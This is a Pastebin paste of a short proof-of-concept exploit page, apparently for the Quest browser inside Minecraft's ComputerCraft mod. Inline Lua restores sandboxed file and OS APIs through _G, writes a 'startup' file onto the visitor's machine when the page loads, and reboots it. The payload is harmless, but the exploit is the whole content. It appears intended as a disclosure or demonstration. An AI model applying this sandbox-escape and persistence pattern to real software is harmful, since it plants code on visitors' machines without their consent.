Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE ccml>
- <!-- _G Exploit Test, by Atenefyr -->
- <html>
- <head>
- <title>Some Malicious Website</title>
- <script type="lua">
- if not _G then
- --we can't use the exploit, abort script
- return
- end
- --otherwise, download what could be a malicious file
- --the important part of the exploit. we can make all APIs their original form with _G
- fs = _G.fs
- os = _G.os
- --download the startup file
- local txt = [[
- print("This file was downloaded via a Quest exploit. Cool?")
- ]]
- local open = fs.open("startup", "w")
- open.write(txt)
- open.close()
- --reboot the machine
- os.reboot()
- </script>
- </head>
- <body>
- <p width="20">Some Sample Text</p>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement